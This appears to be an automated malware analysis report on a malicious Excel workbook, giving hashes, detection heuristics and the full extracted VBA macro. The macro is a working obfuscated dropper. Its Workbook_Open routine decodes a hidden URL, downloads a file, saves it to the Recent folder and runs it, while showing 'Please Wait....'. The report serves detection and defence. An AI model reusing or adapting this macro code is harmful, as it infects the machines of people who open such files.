Office (OOXML) / .XLSX malware analysis — malicious · 0570720136ad439e

MALICIOUS

Office (OOXML) / .XLSX

253.8 KB Created: 2026-04-02 06:26:39 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2026-06-06

MD5: ed86bad644fa8eefe8102cf4bda086f9 SHA-1: 904d5225dd59b3c5c5065a640eef650a0b84f846 SHA-256: 0570720136ad439eb3542419ffa23a0558a99fe1d4b7477d7da6634ca2a34af0

248 Risk Score

Heuristics 7

VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
    Set TuibfRhd = CreateObject("WScript.Shell")
```
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
PXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEU = pBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXBQj.responseBody
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set TuibfRhd = CreateObject("WScript.Shell")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	7609 bytes
SHA-256: `4a2a2abf1fd7fa9fbbaa85adc168033461f9c767d4eb40369a13c966febfa29c`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Public Function zTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnU(JeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmH) QjDWQGmvvuzkdkOcbruxpNdVFoqKnsFPlymXzVUwevhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNF = " ?!@#$%^&()_+\|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåØ¶§Ú¥" ftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSP = " ¿¡@#$%^&()_+\|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNØ¶QR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY" For t = 1 To Len(JeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmH) JcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXBQjDWQGmvvuzkdkO = InStr(QjDWQGmvvuzkdkOcbruxpNdVFoqKnsFPlymXzVUwevhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNF, Mid(JeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmH, t, 1)) If JcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXBQjDWQGmvvuzkdkO > 0 Then cbruxpNdVFoqKnsFPlymXzVUwevhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkB = Mid(ftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSP, JcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXBQjDWQGmvvuzkdkO, 1) cCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGOD = cCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGOD + cbruxpNdVFoqKnsFPlymXzVUwevhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkB Else cCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGOD = cCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGOD + Mid(JeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmH, t, 1) End If Next zTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnU = cCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGOD End Function Private Sub Workbook_Open() Dim ONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZu As Integer ONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZu = Chr(50) + Chr(48) + Chr(48) Dim TuibfRhd As Object Dim SpecialPath As String Set TuibfRhd = CreateObject("WScript.Shell") SpecialPath = TuibfRhd.SpecialFolders("Recent") Dim VFoqKnsFPlymXzVUwevhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcn Dim PXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEU Dim KbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXBQjDWQGmvvuzkdkOcbruxpNdVFoqKnsFPlymXzVUw Dim jRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXB Dim FftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdx Dim evhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSO As Integer Dim pBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXBQj Dim ETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyY evhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSO = 1 Range("A1").Value = "Please Wait...." Set pBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXBQj = CreateObject("microsoft.xmlhttp") Set FftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdx = CreateObject("Shell.Application") jRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXB = SpecialPath + zTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnU("\âJJQ§T.ÂÛÂ") pBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXBQj.Open "get", zTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnU("hÖÖÓÕ://kÅÒwÂjÅlÄÅ.ÄÅÃÒ/ÁgÄ-ÁÒÅÖÂÅÖÕ/vÒÅÖÄÕgzÅgÔÙjÅgÂbÒÙhÜbzdgbÛÔhÃbÖjÔÔgÂÓÔÒÓÂÔÖÄÂÕvÒd/gÔÒÓÄl.ÂÛÂ"), False pBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXBQj.send PXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEU = pBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXBQj.responseBody If pBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXBQj.Status = 200 Then Set VFoqKnsFPlymXzVUwevhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcn = CreateObject("adodb.stream") VFoqKnsFPlymXzVUwevhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcn.Open VFoqKnsFPlymXzVUwevhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcn.Type = evhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSO VFoqKnsFPlymXzVUwevhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcn.Write PXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdxcASeSPJcYwgqwsEU VFoqKnsFPlymXzVUwevhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcn.SaveToFile jRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXB, evhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSO + evhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSO VFoqKnsFPlymXzVUwevhlLlxrJGdyWPLWoDYLVtoRTzTZhWCLMKPntAfsrHKNFftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcn.Close End If FftmWEGbDIVSBOooPXlMhLkBcCNHZIgPZgcnETbdmJEikQWqynSOONRDJQiIHXNQIhKpnUJeTKYjRREEgpBdx.Open (jRREEgpBdxcASeSPJcYwgqwsEUVrtCZHkAhnGODjffejTMTyYKbehYxbFplZulbpziiUHjFRgNfQUvjgZspMiGMIUXmHJSdXB) End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet2" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet3" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	25088 bytes
SHA-256: `f9abcdb4ff6396e1d4ac96492d8abec902051785e27f106beacbf6aefcb6a49e`
Detection ClamAV: No threats found Obfuscation or payload: likely 134 of 223 identifiers look randomly generated (e.g. 'YXLyYvHVDUHLlYWQjgCYxDzKNdyzJSNrGZtMHwcl') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.